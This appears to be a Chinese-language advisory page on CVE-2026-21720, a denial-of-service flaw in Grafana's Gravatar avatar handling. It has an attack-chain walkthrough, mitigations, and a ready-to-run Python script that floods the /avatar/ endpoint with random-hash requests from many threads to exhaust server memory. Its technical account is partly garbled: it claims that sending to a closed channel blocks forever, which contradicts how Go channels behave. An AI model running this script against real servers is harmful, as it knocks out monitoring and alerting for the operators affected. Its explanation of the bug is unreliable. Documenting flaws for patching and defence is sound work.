CVE-2026-21720 Grafana Gravatar头像刷新DoS漏洞

漏洞信息

漏洞编号

CVE-2026-21720

漏洞类型

拒绝服务（DoS）/ 内存耗尽

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Grafana

漏洞概述

CVE-2026-21720是Grafana中的一个高危拒绝服务漏洞，CVSS评分7.5。该漏洞源于Grafana处理Gravatar头像刷新时的资源管理问题。当用户请求未缓存的头像时，系统会为每个请求生成一个goroutine来刷新Gravatar图像。这些goroutine通过无缓冲通道与主处理器通信。然而，当10槽位的工作队列负载过高时，刷新操作可能排队超过3秒，导致处理器超时并放弃监听结果。但后台goroutine仍会尝试向已关闭的无缓冲通道发送数据，造成永久阻塞。攻击者可以通过持续发送带有随机哈希的头像请求来触发此漏洞，每个请求都会创建新的goroutine。由于这些goroutine无法正常退出，内存使用量会线性增长，最终导致Grafana服务崩溃。此漏洞无需认证即可利用，攻击成本低，危害严重。

技术细节

漏洞根源在于Grafana的/avatar/:hash路由处理机制。当收到未缓存的Gravatar头像请求时，系统执行以下流程：1) 创建新的goroutine执行头像刷新任务；2) goroutine通过无缓冲通道返回刷新结果；3) 主处理器等待通道数据，设置3秒超时；4) 如果工作队列已满（10个并发任务），新请求需等待；5) 等待超过3秒后，主处理器超时并关闭通道，但goroutine仍在运行；6) goroutine尝试向已关闭的无缓冲通道发送数据，导致永久阻塞。攻击者利用此漏洞的方法非常简单：持续向Grafana服务器发送带有随机哈希参数的/avatar/:hash请求。由于哈希随机，每个请求都会触发新的goroutine创建。工作队列快速填满后，新请求开始排队，超时机制被触发。goroutine不断累积，内存持续增长，最终触发OOM killer或系统资源耗尽，导致服务中断。

攻击链分析

STEP 1

步骤1: 侦察阶段

攻击者识别目标Grafana服务器，确认版本是否受CVE-2026-21720影响。访问/avatar/:hash路由测试服务可用性。

STEP 2

步骤2: 构造攻击请求

攻击者生成大量随机哈希值，用于构造未缓存的Gravatar头像请求。每个随机哈希都会绕过缓存机制，触发新的goroutine创建。

STEP 3

步骤3: 发送并发请求

利用多线程或分布式攻击手段，向目标发送大量/avatar/:hash请求。由于工作队列只有10个槽位，请求开始排队堆积。

STEP 4

步骤4: 触发超时机制

当请求在队列中等待超过3秒时，主处理器超时并关闭通道，但后台goroutine仍在运行并尝试发送数据到已关闭的无缓冲通道。

STEP 5

步骤5: 内存耗尽

每个超时请求都会遗留一个阻塞的goroutine，内存持续线性增长。随着请求增多，最终导致内存耗尽，Grafana服务崩溃。

STEP 6

步骤6: 服务中断

Grafana因内存不足而崩溃或被OOM Killer终止，导致监控仪表板、告警系统等依赖服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/usr/bin/env python3
"""
CVE-2026-21720 PoC - Grafana Gravatar DoS Exploit
This PoC demonstrates the memory exhaustion vulnerability in Grafana's avatar handling.
"""

import requests
import random
import string
import threading
import time

TARGET_URL = "http://target-grafana:3000"
AVATAR_ENDPOINT = f"{TARGET_URL}/avatar/"
NUM_THREADS = 10
REQUESTS_PER_THREAD = 100

def generate_random_hash(length=32):
    """Generate a random hash to trigger new goroutine creation"""
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))

def send_avatar_request(thread_id):
    """Send avatar requests with random hashes"""
    session = requests.Session()
    for i in range(REQUESTS_PER_THREAD):
        hash_value = generate_random_hash()
        try:
            url = f"{AVATAR_ENDPOINT}{hash_value}"
            response = session.get(url, timeout=5)
            print(f"[Thread-{thread_id}] Request {i+1}: Status {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"[Thread-{thread_id}] Request {i+1} failed: {e}")
        time.sleep(0.1)

def main():
    print(f"[*] Starting CVE-2026-21720 DoS Attack")
    print(f"[*] Target: {TARGET_URL}")
    print(f"[*] Threads: {NUM_THREADS}, Requests per thread: {REQUESTS_PER_THREAD}")
    
    threads = []
    start_time = time.time()
    
    # Launch attack threads
    for i in range(NUM_THREADS):
        t = threading.Thread(target=send_avatar_request, args=(i,))
        threads.append(t)
        t.start()
    
    # Wait for all threads to complete
    for t in threads:
        t.join()
    
    elapsed = time.time() - start_time
    print(f"[*] Attack completed in {elapsed:.2f} seconds")
    print(f"[*] Total requests sent: {NUM_THREADS * REQUESTS_PER_THREAD}")
    print(f"[*] Check Grafana memory usage - it should be growing linearly")

if __name__ == "__main__":
    main()

影响范围

Grafana < 10.2.5

Grafana < 10.3.3

Grafana < 11.0.1

防御指南

临时缓解措施

临时缓解措施：在Grafana配置文件中禁用Gravatar头像功能，将profile.gravatarUrl设置为空或使用本地头像服务。同时配置反向代理（如Nginx）添加请求速率限制，对/avatar/路径实施访问控制。对于生产环境，建议通过防火墙规则限制对Grafana的直接访问，仅允许受信任的IP范围访问头像服务。